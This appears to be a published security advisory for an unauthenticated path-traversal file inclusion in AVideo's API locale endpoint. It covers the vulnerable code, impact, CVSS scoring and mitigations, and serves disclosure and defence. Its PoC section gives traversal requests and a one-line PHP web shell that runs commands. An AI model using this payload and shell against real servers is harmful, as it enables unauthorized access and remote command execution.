AVideo has an Unauthenticated Local File Inclusion in API locale (RCE possible with writable PHP)

Description

Summary

An unauthenticated API endpoint (APIName=locale) concatenates user input into an include path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., view/about.php), and it can escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree.

Details

  • Entry point: plugin/API/get.json.php sets $global['bypassSameDomainCheck']=1 and merges GET/POST/JSON into $parameters without authentication or API secret.
  • Handler: plugin/API/API.php, method get_api_locale() (lines ~5009–5023):
    php $parameters['language'] = strtolower($parameters['language']); $file = "{$global['systemRootPath']}locale/{$parameters['language']}.php"; if (!file_exists($file)) { return new ApiObject("This language does not exists"); } include $file;
    No validation is performed; ../ traversal is accepted.
  • Because include executes PHP, any reachable PHP file is executed in the web server context.

PoC

  1. Fetch an arbitrary PHP file (no auth):
    GET /plugin/API/get.json.php?APIName=locale&language=../view/about HTTP/1.1 Host: <target>
    Response returns the rendered About page HTML, proving traversal outside locale/.
  2. RCE with an attacker PHP file (any writable PHP path):
    GET /plugin/API/get.json.php?APIName=locale&language=../videos/locale/shell&x=whoami
    If shell.php contains <?php system($_GET['x']); ?>, the response includes command output.

Impact

  • Unauthenticated file inclusion of arbitrary PHP files under the web root.
  • Confidential data leakage (e.g., configuration, secrets) via included PHP that renders output.
  • Potential RCE if any attacker-writable PHP file exists elsewhere (not confirmed in this build).
  • Affects any deployment with the API plugin enabled (default in docker-compose).

Mitigation

  • Reject path separators/dots and enforce a strict allowlist of locale slugs.
  • realpath the target and ensure it stays within $systemRootPath/locale.
  • Stop using include for translations; load data from vetted formats (JSON/array).
  • Add authentication (API secret/token) to the endpoint as a secondary control.

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-03-20 21:55:31 UTC
Updated
2026-03-25 20:44:39 UTC
GitHub reviewed
2026-03-20 21:55:31 UTC
NVD published
2026-03-23

EPSS Score

Score Percentile
0.17% 38.62%

CVSS Scores

Base score Version Severity Vector
8.6 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:L)
Attackers could change some data, but it’s limited—not everything goes.
Availability (A:L)
Might cause slowdowns, glitches, or partial disruption—not a full brick.

Identifiers

CWEs

CWE id Name
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Credits

  • Ahmad-jarwan (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
composer wwbn/avideo <= 26.0

References

cvelogic Threat Intelligence